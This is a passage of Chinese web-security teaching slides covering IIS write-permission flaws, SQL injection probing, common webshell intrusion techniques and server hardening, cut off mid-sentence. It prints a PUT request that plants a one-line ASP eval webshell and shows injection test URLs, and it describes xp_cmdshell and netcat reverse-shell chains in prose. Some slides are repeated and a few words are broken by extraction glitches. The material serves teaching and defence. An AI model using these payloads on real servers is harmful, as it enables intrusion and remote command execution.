




版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
項(xiàng)目1Web應(yīng)用安全測(cè)試防范技術(shù)單擊輸入您的封面副標(biāo)題主要內(nèi)容
任務(wù)1.1Web應(yīng)用程序安全與風(fēng)險(xiǎn)1
任務(wù)1.2Web安全實(shí)踐———HTTP架構(gòu)分析2
任務(wù)1.3Web服務(wù)器應(yīng)用程序規(guī)范3任務(wù)1.1Web應(yīng)用程序安全與風(fēng)險(xiǎn)
子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探子任務(wù)1.1.3Web核心安全問題及因素子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維子任務(wù)1.1.6Web應(yīng)用程序安全的未來(lái)子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能隨著互聯(lián)網(wǎng)的發(fā)展,Web應(yīng)用程序提供的功能也越來(lái)越多,人們坐在計(jì)算機(jī)前利用互聯(lián)網(wǎng)足不出戶就能夠進(jìn)行工作和生活。也可以嘗試對(duì)所有的消費(fèi)支出,只使用網(wǎng)上支付,而不使用現(xiàn)金。任務(wù)描述子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能如今的萬(wàn)維網(wǎng)與早期的萬(wàn)維網(wǎng)已經(jīng)完全不同,Web上的大多數(shù)站點(diǎn)實(shí)際上是應(yīng)用程序,它們功能強(qiáng)大,在服務(wù)器和瀏覽器之間進(jìn)行雙向信息傳送。它們支持注冊(cè)與登錄、金融交易、搜索以及用戶創(chuàng)作的內(nèi)容。用戶獲取的內(nèi)容以動(dòng)態(tài)形式生成,并且往往能夠滿足每個(gè)用戶的特殊需求。相關(guān)知識(shí)子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能?購(gòu)物:在購(gòu)物網(wǎng)站上注冊(cè)賬戶,選擇商品并進(jìn)行網(wǎng)上支付。?社交網(wǎng)絡(luò):源自網(wǎng)絡(luò)社交,而網(wǎng)絡(luò)社交的起點(diǎn)是電子郵件,逐步發(fā)展到BBS、論壇等社交網(wǎng)站。?金融服務(wù):大多數(shù)人都會(huì)開通個(gè)人銀行賬戶的網(wǎng)上支付功能,可以在網(wǎng)上銀行查詢賬戶明細(xì)和余額、向他人賬戶轉(zhuǎn)賬和申請(qǐng)信用卡。?Web搜索:通過輸入關(guān)鍵詞,可以顯示與關(guān)鍵詞有關(guān)的網(wǎng)站和鏈接。?網(wǎng)絡(luò)拍賣:是通過互聯(lián)網(wǎng)進(jìn)行的在線交易的一種模式。?博客:英文名為Blogger,為WebLog的混成詞。?Web郵件:是互聯(lián)網(wǎng)上一種主要使用網(wǎng)頁(yè)瀏覽器來(lái)閱讀或發(fā)送電子郵件的服務(wù)。任務(wù)實(shí)施子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能一個(gè)Web應(yīng)用程序是由完成特定任務(wù)的各種Web組件(WebComponents)構(gòu)成的,并通過Web將服務(wù)展示給外界。在實(shí)際應(yīng)用中,Web應(yīng)用程序是由多個(gè)Servlet、JSP頁(yè)3項(xiàng)目1Web應(yīng)用安全測(cè)試防范技術(shù)面、HTML文件以及圖像文件等組成。Web應(yīng)用程序的真正核心主要是對(duì)數(shù)據(jù)庫(kù)進(jìn)行處理,管理信息系統(tǒng)(ManaInformationSystem,MIS)就是這種架構(gòu)最典型的應(yīng)用。MIS可以應(yīng)用于局域網(wǎng),g也em可en以t應(yīng)用于廣域網(wǎng)。知識(shí)拓展子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能常用的安全措施有“驗(yàn)證碼”、“短信驗(yàn)證”和“郵件驗(yàn)證”等。?驗(yàn)證碼:在注冊(cè)和登錄時(shí),通常都會(huì)使用驗(yàn)證碼的方式,確保是用戶本人在計(jì)算機(jī)前使用賬號(hào)。?短信驗(yàn)證:是企業(yè)給消費(fèi)者(用戶)的一個(gè)憑證,通過短信內(nèi)容的數(shù)字或字母來(lái)驗(yàn)證身份。?郵件驗(yàn)證:與短信驗(yàn)證的方式類似,是通過電子郵件地址來(lái)驗(yàn)證用戶的身份。技能拓展子任務(wù)1.1.1Web應(yīng)用程序的發(fā)展歷程與常見功能通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解Web應(yīng)用程序的發(fā)展歷程。?了解Web應(yīng)用程序的概念。?了解Web應(yīng)用程序的部分功能。任務(wù)總結(jié)子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探許多站點(diǎn)都需要通過Web程序?yàn)榫W(wǎng)站提供上傳功能,如商場(chǎng)、論壇和網(wǎng)盤等,所以,上傳的權(quán)限只能被限制給特定的用戶使用。如果錯(cuò)誤地開放了上傳權(quán)限,使未授權(quán)的用戶上傳了Webshell,則很有可能會(huì)造成安全漏洞。任務(wù)描述子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探Webshell常常用來(lái)指匿名用戶(入侵者)通過網(wǎng)站端口對(duì)網(wǎng)站服務(wù)器獲取某種程度上操作權(quán)限的過程及其工具。由于Webshell大多是以動(dòng)態(tài)腳本的形式出現(xiàn),也有人稱為網(wǎng)站的后門工具。另外,Webshell也常被站長(zhǎng)用于網(wǎng)站管理、服務(wù)器管理等。根據(jù)權(quán)限的不同,使用Webshell可以在線編輯網(wǎng)頁(yè)腳本、上傳或下載文件、查看數(shù)據(jù)庫(kù)、執(zhí)行任意程序命令等。相關(guān)知識(shí)子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探有些惡意網(wǎng)站腳本可以嵌套在正常網(wǎng)頁(yè)中運(yùn)行,且不容易被查殺,因此具有較高的隱蔽性。Webshell可以穿越服務(wù)器防火墻,由于與被控制的服務(wù)器或遠(yuǎn)程主機(jī)交互的數(shù)據(jù)都是通過80端口傳遞,因此一般都不會(huì)被防火墻攔截。使用Webshell一般也不會(huì)在系統(tǒng)日志中留下記錄,只會(huì)在網(wǎng)站的Web日志中留下一些數(shù)據(jù)提交的記錄,沒有經(jīng)驗(yàn)的管理員很難察覺入侵的痕跡。相關(guān)知識(shí)子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探IIS作為一款流行的Web服務(wù)器,在當(dāng)今互聯(lián)網(wǎng)環(huán)境中占有很大的比重,絕大多數(shù)的ASP、ASP.NET網(wǎng)站都在它上面運(yùn)行。如果服務(wù)器中的IIS配置不當(dāng),用戶就可以利用IIS的寫權(quán)限漏洞,匿名上傳文件或可執(zhí)行代碼,從而導(dǎo)致服務(wù)器被惡意入侵的安全事件。相關(guān)知識(shí)子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探IIS是一種Web(網(wǎng)頁(yè))服務(wù)組件,其中包括Web服務(wù)器、FTP服務(wù)器、NNTP服務(wù)器和SMTP服務(wù)器,分別用于網(wǎng)頁(yè)瀏覽、文件傳輸、新聞服務(wù)和郵件發(fā)送等方面,它能夠提供快速且集成了現(xiàn)有產(chǎn)品并可擴(kuò)展的Internet服務(wù)器。任務(wù)實(shí)施子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探(1)從IIS安全配置方面來(lái)說(shuō),主要是以下兩方面的配置不當(dāng)導(dǎo)致的安全問題。①Web服務(wù)器擴(kuò)展里設(shè)置WebDAV為允許。啟用了WebDAV擴(kuò)展,并且選中了“寫入”選項(xiàng),就可以寫入txt文件了。②在“主目錄”選項(xiàng)卡的權(quán)限配置里選中“寫入”選項(xiàng),在“應(yīng)用程序設(shè)置”選項(xiàng)區(qū)中設(shè)置“執(zhí)行權(quán)限”選項(xiàng)為“腳本和可執(zhí)行文件”。任務(wù)實(shí)施子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探(2)該漏洞被利用的過程說(shuō)明如下。①在攻擊主機(jī)中用telnet命令連接到目標(biāo)主機(jī)的Web端口(80)。②發(fā)出如下請(qǐng)求:PUT/test.txtHTTP/1.1Host:Content-Length:26<%eval(request("cmd"))%>任務(wù)實(shí)施子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探③返回的報(bào)文如圖所示。任務(wù)實(shí)施子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探在目標(biāo)主機(jī)的Web主目錄中就會(huì)被傳入一個(gè)名為test.功txt的文件,文件內(nèi)容為“<%eval(request("cmd"))%>”,如圖所示,這表示成上傳木馬文件。任務(wù)實(shí)施子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探匿名用戶上傳了Webshell之后,接下來(lái)做的就是提權(quán)。Windows內(nèi)置了不同的用戶權(quán)限,通常在本機(jī)登錄系統(tǒng)使用的是管理員賬號(hào)Administrator,而訪問局域網(wǎng)內(nèi)的計(jì)算機(jī)時(shí)用來(lái)賓賬號(hào)guest。當(dāng)Windows服務(wù)器安裝了IIS組件以后,就會(huì)自動(dòng)創(chuàng)建一個(gè)Internet來(lái)賓賬號(hào)———IIS來(lái)賓賬號(hào)。當(dāng)我們?cè)贗IS中建立一個(gè)網(wǎng)站后,默認(rèn)的權(quán)限就是IUSR_XXX。知識(shí)拓展子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探雖然Webshell是繼承了IIS的guest權(quán)限,但是根據(jù)管理員的設(shè)置,Webshell在不同的網(wǎng)站下權(quán)限也是不一樣的,最大的權(quán)限是system級(jí),最小的權(quán)限就是無(wú)權(quán)限。以下從最低一級(jí)的權(quán)限開始逐一介紹。知識(shí)拓展子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探1.列目錄權(quán)限2.讀取權(quán)限3.修改權(quán)限4.寫入權(quán)限5.上傳權(quán)限6.跨文件夾7.運(yùn)行文件權(quán)限8.system權(quán)限9.其他權(quán)限
知識(shí)拓展子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探1.IIS寫權(quán)限漏洞的危害如果網(wǎng)站存在IIS寫權(quán)限漏洞,攻擊者一般通過以下幾種方式進(jìn)行惡意攻擊。(1)直接上傳文本格式文件。(2)通過修改網(wǎng)站原有文件達(dá)到惡意攻擊的目的,如通過修改網(wǎng)站CSS文件實(shí)現(xiàn)掛馬。(3)通過move命令上傳ASP格式木馬文件。(4)結(jié)合IIS6.0文件名解析漏洞,上傳xxx.asp或yyy.txt格式的木馬文件。技能拓展子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探2.對(duì)Web服務(wù)器進(jìn)行加固我們通過跟蹤IIS從安裝到配置的整個(gè)過程,分析其中可能面臨的安全風(fēng)險(xiǎn),并給出相應(yīng)的加固措施。(1)IIS安裝及版本的選擇。(2)刪除IIS默認(rèn)站點(diǎn)。把IIS默認(rèn)安裝的站點(diǎn)刪除或禁用。(3)禁用不必要的Web服務(wù)擴(kuò)展。(4)IIS訪問權(quán)限配置。(5)網(wǎng)站目錄權(quán)限配置。(6)修改IIS日志文件配置。技能拓展子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探2.對(duì)Web服務(wù)器進(jìn)行加固先檢查是否啟用了日志記錄,如未啟用,則啟用它。日志格式設(shè)置為W3C擴(kuò)展日志格式,IIS中默認(rèn)是啟用日志記錄的。接著修改IIS日志文件保存路徑,默認(rèn)保存在“C:\WINDOWS\system32\LogFiles”目錄下,這里修改為自定義路徑。建議保存在非系統(tǒng)盤路徑,并且IIS日志文件所在目錄只允許Administrators組用戶和system用戶訪問。技能拓展子任務(wù)1.1.2Web服務(wù)器寫權(quán)限刺探通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解權(quán)限的種類和作用。?了解寫權(quán)限的漏洞的查找和利用方式。?掌握IIS服務(wù)器寫權(quán)限刺探和安全加固的方法。任務(wù)總結(jié)子任務(wù)1.1.3Web核心安全問題及因素與多數(shù)分布式應(yīng)用程序一樣,為確保安全,Web應(yīng)用程序必須解決客戶端可以提交任意輸入的問題。任務(wù)描述子任務(wù)1.1.3Web核心安全問題及因素應(yīng)用程序必須假設(shè)所有輸入的信息都是惡意的輸入,并必須采取必要措施確保攻擊者無(wú)法使用專門設(shè)計(jì)的輸入破壞應(yīng)用程序,干擾其邏輯結(jié)構(gòu)與行為,并最終達(dá)到非法訪問其數(shù)據(jù)和功能的目的。具體表現(xiàn)在以下方面。(1)用戶可干預(yù)客戶與服務(wù)器間傳送的所有數(shù)據(jù),包括請(qǐng)求參數(shù)、Cookie和HTTP信息頭。(2)用戶可按任何順序發(fā)送請(qǐng)求。(3)用戶并不限于僅使用一種Web瀏覽器訪問應(yīng)用程序。相關(guān)知識(shí)子任務(wù)1.1.3Web核心安全問題及因素在目標(biāo)主機(jī)中新建一個(gè)Web網(wǎng)站,作為攻擊的目標(biāo)網(wǎng)站。在攻擊主機(jī)中輸入目標(biāo)主機(jī)的IP地址,打開該目標(biāo)網(wǎng)站,找到合適的注入點(diǎn),如圖1-9所示。任務(wù)實(shí)施子任務(wù)1.1.3Web核心安全問題及因素在瀏覽器地址欄中原URL地址的后面加上“and1=1”,測(cè)試該網(wǎng)頁(yè)是否是注入點(diǎn),新的URL為“39/shownews.asp?id=4and1=1”,如圖1-10所示。任務(wù)實(shí)施子任務(wù)1.1.3Web核心安全問題及因素在瀏覽器地址欄中原URL地址的后面加上“and1=2”,測(cè)試該網(wǎng)頁(yè)是否是注入點(diǎn),新的URL為“39/shownews.asp?id=4and1=2”,如圖1-11所示。任務(wù)實(shí)施子任務(wù)1.1.3Web核心安全問題及因素從圖1-10和圖1-11中可以得出結(jié)論,這個(gè)網(wǎng)站存在注入點(diǎn)漏洞,可以嘗試進(jìn)行SQL注入攻擊。任務(wù)實(shí)施子任務(wù)1.1.3Web核心安全問題及因素SQL語(yǔ)言在Web應(yīng)用程序中是非常重要的知識(shí)點(diǎn),尤其是SQL查詢語(yǔ)句,在數(shù)據(jù)庫(kù)上執(zhí)行的大部分工作都是由SQL語(yǔ)句完成的。知識(shí)拓展子任務(wù)1.1.3Web核心安全問題及因素以“select*fromnewswhereid=4and1=1”這條SQL語(yǔ)句為例,其中“select*fromnews”表示顯示news表中的所有記錄;“select*fromnewswhereid=4”表示從news表中查找滿足條件“id=4”的記錄,并將該記錄的所有信息顯示出來(lái);“select*fromnewswhereid=4and1=1”表示從news表中查找同時(shí)滿足條件“id=4”和“1=1”11項(xiàng)目1Web應(yīng)用安全測(cè)試防范技術(shù)的記錄,并將該記錄的所有信息顯示出來(lái)。知識(shí)拓展子任務(wù)1.1.3Web核心安全問題及因素因?yàn)椤?=1”是恒成立的,所以這條SQL語(yǔ)句能夠正常執(zhí)行。但是如果將“1=1”換成“1=2”,則這條SQL語(yǔ)句將查不到任何結(jié)果。在SQL注入攻擊中常用的SQL語(yǔ)句還有exists、orderby和union等。知識(shí)拓展子任務(wù)1.1.3Web核心安全問題及因素Web應(yīng)用程序的基本安全問題(所有用戶輸入都不可信)致使應(yīng)用程序?qū)嵤┐罅堪踩珯C(jī)制來(lái)抵御攻擊,盡管其設(shè)計(jì)細(xì)節(jié)與執(zhí)行效率可能千差萬(wàn)別,但幾乎所有應(yīng)用程序采用的安全機(jī)制在概念上都具有相似性。事實(shí)上,在存在SQL注入漏洞的網(wǎng)頁(yè)中,安全漏洞的實(shí)質(zhì)是,通過網(wǎng)頁(yè)的URL,將一條更改后的SQL語(yǔ)句傳入數(shù)據(jù)庫(kù)進(jìn)行查詢。技能拓展子任務(wù)1.1.3Web核心安全問題及因素網(wǎng)頁(yè)的URL為“39/shownews.asp?id=4”,對(duì)應(yīng)的SQL語(yǔ)句為“select*fromnewswhereid=4”。測(cè)試的語(yǔ)句為“39/shownews.asp?id=4and1=1”,對(duì)應(yīng)的測(cè)試SQL語(yǔ)句為“select*fromnewswhereid=4and1=1”。從SQL語(yǔ)法上來(lái)看,這條SQL語(yǔ)句是恒成立的,所以網(wǎng)頁(yè)能夠正常顯示。技能拓展子任務(wù)1.1.3Web核心安全問題及因素如果將測(cè)試語(yǔ)句改為“39/shownews.asp?id=4and1=2”,對(duì)應(yīng)的測(cè)試SQL語(yǔ)句為“select*fromnewswhereid=4and1=2”。從SQL語(yǔ)法上來(lái)看,這條SQL語(yǔ)句是恒不成立的,所以網(wǎng)頁(yè)無(wú)法顯示。技能拓展子任務(wù)1.1.3Web核心安全問題及因素通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解Web服務(wù)器的核心安全問題及其形成的原因。?了解Web服務(wù)器常見的漏洞。?了解如何利用Web服務(wù)器的注入漏洞。任務(wù)總結(jié)子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)Web服務(wù)器一般指網(wǎng)站服務(wù)器,是指駐留于因特網(wǎng)上某種類型計(jì)算機(jī)的程序,可以向?yàn)g覽器等Web客戶端提供文檔,也可以放置網(wǎng)站文件,讓全世界瀏覽;可以放置數(shù)據(jù)文件,讓全世界下載。基于某些特殊的目的,針對(duì)Web服務(wù)器的攻擊手段層出不窮,必須了解常見的對(duì)Web服務(wù)器的攻擊技術(shù)。任務(wù)描述子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)隨著服務(wù)端腳本技術(shù)、組件技術(shù)等技術(shù)手段的成熟,基于Web平臺(tái)構(gòu)建的應(yīng)用信息系統(tǒng)成了Internet信息系統(tǒng)的主流,而且逐漸成為電信、金融、財(cái)稅等關(guān)鍵領(lǐng)域公共信息系統(tǒng)的首選。目前,Internet上部署運(yùn)行著各種各樣的Web信息系統(tǒng),這些系統(tǒng)的安全在很大程度上關(guān)系到整個(gè)Internet的正常運(yùn)轉(zhuǎn)。相關(guān)知識(shí)子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)應(yīng)用程序有兩種模式,即C/S、B/S。C/S是客戶端/服務(wù)器端程序,也就是說(shuō)這類程序一般獨(dú)立運(yùn)行;而B/S就是瀏覽器端/服務(wù)器端應(yīng)用程序,這類應(yīng)用程序一般借助IE等瀏覽器來(lái)運(yùn)行。Web應(yīng)用程序一般是B/S模式。Web應(yīng)用程序首先是“應(yīng)用程序”,與用標(biāo)準(zhǔn)的程序語(yǔ)言,如C、C++等編寫出來(lái)的程序沒有什么本質(zhì)上的不同。然而Web應(yīng)用程序又有自己獨(dú)特的地方,就是它是基于Web的,而不是采用傳統(tǒng)方法運(yùn)行的。換句話說(shuō),它是典型的瀏覽器/服務(wù)器架構(gòu)的產(chǎn)物。相關(guān)知識(shí)子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)一個(gè)Web應(yīng)用程序是由完成特定任務(wù)的各種Web組件(WebComponents)構(gòu)成的,并通過Web將服務(wù)展示給外界。在實(shí)際應(yīng)用中,Web應(yīng)用程序是由多個(gè)Servlet、JSP頁(yè)面、HTML文件以及圖像文件等組成,所有這些組件相互協(xié)調(diào),為用戶提供一組完整的服務(wù)。相關(guān)知識(shí)子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)Web常用的攻擊技術(shù)有以下幾種。1.SQL注入漏洞的入侵這種是ASP+Access的網(wǎng)站入侵方式,通過注入點(diǎn)列出數(shù)據(jù)庫(kù)里面管理員的賬號(hào)和密碼信息,然后猜解出網(wǎng)站的后臺(tái)地址,然后用賬號(hào)和密碼登錄進(jìn)去找到文件上傳的地方,把ASP木馬上傳,獲得一個(gè)網(wǎng)站的Webshell任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)2.ASP上傳漏洞的利用這種技術(shù)方式是利用一些網(wǎng)站的ASP上傳功能來(lái)上傳ASP木馬的一種入侵方式,不少網(wǎng)站都限制了上傳文件的類型,一般來(lái)說(shuō)ASP作為后綴的文件都不允許上傳,但是這種限制是可以被黑客突破的,黑客可以采取Cookie欺騙的方式來(lái)上傳ASP木馬,獲得網(wǎng)站的Webshell權(quán)限。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)3.后臺(tái)數(shù)據(jù)庫(kù)備份方式獲得Webshell這個(gè)主要是利用網(wǎng)站后臺(tái)對(duì)Access數(shù)據(jù)庫(kù)進(jìn)行數(shù)據(jù)庫(kù)備份和恢復(fù)的功能,因備份數(shù)據(jù)庫(kù)路徑等變量沒有過濾,導(dǎo)致可以把任何文件的后綴改成ASP,再利用網(wǎng)站的上傳功能上傳一個(gè)文件名改成JPG或者GIF后綴的ASP木馬,然后用恢復(fù)庫(kù)備份和恢復(fù)的功能把這個(gè)木馬恢復(fù)成ASP文件,從而達(dá)到能夠獲取網(wǎng)站W(wǎng)ebshell控制權(quán)限的目的。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)4.網(wǎng)站旁注入侵這種技術(shù)是通過IP綁定域名查詢的功能查出服務(wù)器上有多少網(wǎng)站,然后通過一些薄弱的網(wǎng)站實(shí)施入侵,拿到權(quán)限之后,轉(zhuǎn)而控制服務(wù)器的其他網(wǎng)站。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)5.SA注入點(diǎn)利用的入侵技術(shù)這種是ASP+MsSQL網(wǎng)站的入侵方式,找到有SA權(quán)限的SQL注入點(diǎn),再用SQL數(shù)據(jù)庫(kù)的XP_CMDShell的存儲(chǔ)擴(kuò)展來(lái)運(yùn)行系統(tǒng)命令建立系統(tǒng)級(jí)別的賬號(hào),然后通過3389登錄。或者在一臺(tái)肉雞(也稱傀儡機(jī),指可以被黑客遠(yuǎn)程控制的機(jī)器)上用NC開設(shè)一個(gè)監(jiān)聽端口,再用VBS一句話木馬下載一個(gè)NC到服務(wù)器。接著運(yùn)行NC的反向連接命令,讓服務(wù)器反向連接到遠(yuǎn)程肉雞上,這樣遠(yuǎn)程肉雞就有了一個(gè)遠(yuǎn)程的系統(tǒng)管理員級(jí)別的控制權(quán)限。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)6.SA弱密碼的入侵技術(shù)這種方式是用掃描器探測(cè)SQL的賬號(hào)和密碼信息的方式拿到SA的密碼,再用特定的工具通過1433端口連接到遠(yuǎn)程服務(wù)器上,然后開設(shè)系統(tǒng)賬號(hào),通過3389登錄。這種入侵方式還可以配合Webshell來(lái)使用,一般的ASP+MsSQL網(wǎng)站通常會(huì)把MsSQL的連接密碼寫到一個(gè)配置文件當(dāng)中,這個(gè)可以用Webshell來(lái)讀取配置文件里面的SA密碼,然后可以上傳一個(gè)SQL木馬的方式來(lái)獲取系統(tǒng)的控制權(quán)限。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)7.提交一句話木馬的入侵方式這種技術(shù)方式是對(duì)一些數(shù)據(jù)庫(kù)地址被改成ASP文件的網(wǎng)站來(lái)實(shí)施入侵的。黑客通過網(wǎng)站的留言板、論壇系統(tǒng)等功能提交一句話木馬到數(shù)據(jù)庫(kù),然后在木馬客戶端里面輸入這個(gè)網(wǎng)站的數(shù)據(jù)庫(kù)地址并提交,就可以把一個(gè)ASP木馬寫入網(wǎng)站,獲取網(wǎng)站的Webshell權(quán)限。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)8.論壇漏洞利用入侵方式這種技術(shù)是利用一些論壇存在的安全漏洞來(lái)上傳ASP木馬,以便獲得Webshell權(quán)限,最典型的就是動(dòng)網(wǎng)6.0版本、7.0版本都存在安全漏洞。以7.0版本為例來(lái)說(shuō),注冊(cè)一個(gè)正常的用戶,然后用抓包工具抓取用戶提交一個(gè)ASP文件的Cookie,然后用明小子之類的軟件采取Cookie欺騙的上傳方式就可以上傳一個(gè)ASP木馬,獲得網(wǎng)站的Webshell。任務(wù)實(shí)施子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)1997—1998年互聯(lián)網(wǎng)開始在中國(guó)興起之時(shí),黑客就已經(jīng)誕生了。進(jìn)入21世紀(jì)以來(lái),除了比較有名的UNICode漏洞之外,黑客們大部分都是利用系統(tǒng)的各種溢出漏洞來(lái)實(shí)施入侵,包括像IPC共享空連接漏洞、IDA/IDQ漏洞、Printer漏洞,RPC漏洞等。2003年,中國(guó)互聯(lián)網(wǎng)開始從互聯(lián)網(wǎng)寒冬逐漸走向復(fù)蘇,網(wǎng)站數(shù)量的激增以及大家對(duì)網(wǎng)絡(luò)安全的輕視,導(dǎo)致通過Web的各種漏洞來(lái)進(jìn)行入侵的事件越來(lái)越多,SQL注入以及相關(guān)技術(shù)在黑客的群體中逐步普及。因?yàn)榛诰W(wǎng)站的各種腳本漏洞能非常輕易地使用,而且能夠通過提權(quán)來(lái)獲取系統(tǒng)權(quán)限,于是,互聯(lián)網(wǎng)的網(wǎng)站應(yīng)用領(lǐng)域的黑客入侵技術(shù)開始流行起來(lái)。知識(shí)拓展子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)為了減少匿名用戶對(duì)Web網(wǎng)站的威脅,必須要做好一定的防御措施。(1)阻止對(duì)惡意軟件服務(wù)器的訪問。(2)把移動(dòng)代碼限制到值得信任的網(wǎng)站。(3)在Web網(wǎng)關(guān)處掃描。(4)使用不同廠商的產(chǎn)品進(jìn)行桌面和Web網(wǎng)關(guān)掃描。(5)定期更新桌面和服務(wù)器補(bǔ)丁。技能拓展子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)(6)安裝反病毒軟件并保持更新。(7)只訪問通過所有瀏覽器檢查的HTTPS網(wǎng)站。(8)只從值得信任的網(wǎng)站下載可執(zhí)行程序。(9)不要訪問把IP地址用作服務(wù)器的網(wǎng)站。(10)仔細(xì)地輸入網(wǎng)址以避免錯(cuò)誤。技能拓展子任務(wù)1.1.4Web服務(wù)器及常用攻擊技術(shù)通過本任務(wù)的實(shí)施,應(yīng)掌握下列知識(shí)和技能。?了解Web服務(wù)器的概念。?了解針對(duì)Web服務(wù)器的攻擊技術(shù)。?了解Web服務(wù)器上的安全防御措施。任務(wù)總結(jié)子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維使用工具軟件,從網(wǎng)站的根目錄開始,順著各個(gè)鏈接一路摸索,根據(jù)錯(cuò)誤信息推理隱藏目錄和界面,使用搜索引擎分析網(wǎng)站的關(guān)鍵信息。任務(wù)描述子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維對(duì)于網(wǎng)站而言,實(shí)際的文件組織結(jié)構(gòu)可以映射到網(wǎng)站層次的任何一個(gè)位置,站長(zhǎng)在建站的時(shí)候,一般都會(huì)使用默認(rèn)的方式設(shè)置這種對(duì)應(yīng)的層次,使其簡(jiǎn)單明了。不過如果這樣做,對(duì)網(wǎng)站剖析時(shí)也減輕了障礙。在剖析時(shí)使用的最基礎(chǔ)的技術(shù)就是把整個(gè)Web應(yīng)用程序鏡像到本地。對(duì)于小型的Web應(yīng)用程序,可以嘗試使用人工分析目錄的方式進(jìn)行剖析。但是對(duì)于中大型網(wǎng)站,只能使用工具軟件進(jìn)行自動(dòng)化分析。任務(wù)實(shí)施相關(guān)知識(shí)子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維可以在攻擊計(jì)算機(jī)中安裝TeleportPro,抓取目標(biāo)計(jì)算機(jī)(39)上的網(wǎng)站。在“起始地址屬性”中設(shè)置目標(biāo)網(wǎng)站的IP地址,如圖1-12所示。單擊OK按鈕,開始自動(dòng)抓取目標(biāo)網(wǎng)站,如圖1-13所示。目標(biāo)網(wǎng)站中的所有內(nèi)容都被自動(dòng)地從目標(biāo)計(jì)算機(jī)抓取到了攻擊計(jì)算機(jī)。任務(wù)實(shí)施子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維單擊OK按鈕,開始自動(dòng)抓取目標(biāo)網(wǎng)站,如圖1-13所示。目標(biāo)網(wǎng)站中的所有內(nèi)容都被自動(dòng)地從目標(biāo)計(jì)算機(jī)抓取到了攻擊計(jì)算機(jī)。任務(wù)實(shí)施子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維任務(wù)實(shí)施子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展自動(dòng)化工具下載了整個(gè)目標(biāo)站點(diǎn),現(xiàn)在可以利用它的搜索功能進(jìn)一步得到一些細(xì)節(jié)信息。但是,很多工作還是離不開手工操作。對(duì)于細(xì)節(jié)信息,我們大概從以下幾個(gè)方面考慮。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展1.動(dòng)態(tài)頁(yè)面和靜態(tài)生成頁(yè)面靜態(tài)頁(yè)面是不能用來(lái)測(cè)試工具和提交任何請(qǐng)求的,我們要關(guān)注它的注釋或者其他信息,也許會(huì)有意外的發(fā)現(xiàn)。動(dòng)態(tài)頁(yè)面是和服務(wù)器交互的頁(yè)面,也是我們?nèi)肭址?wù)器的通道。把所有頁(yè)面劃分成這兩類很簡(jiǎn)單,只需根據(jù)擴(kuò)展名來(lái)區(qū)分就可以了。子任務(wù)1.1.5Web應(yīng)用剖析自動(dòng)化運(yùn)維知識(shí)拓展2.目錄結(jié)構(gòu)、目錄名和文件名網(wǎng)站架構(gòu)是非常有規(guī)律的,可以通過目錄結(jié)構(gòu)和目錄名大概推測(cè)出各個(gè)目錄與文件的功能。特權(quán)目錄如/admin/、/adm/等。備份或日志文件目錄如/back/、/log/等。文件包含目錄如/inc/、/include/、/js/、/global/、/local/等。國(guó)際化目錄如/en/、/eng/等。當(dāng)然我們可以推測(cè)一些可能存在的隱含目錄,然后向這些目錄發(fā)送請(qǐng)求,根據(jù)提示信息判斷。子任務(wù)1.1.5Web應(yī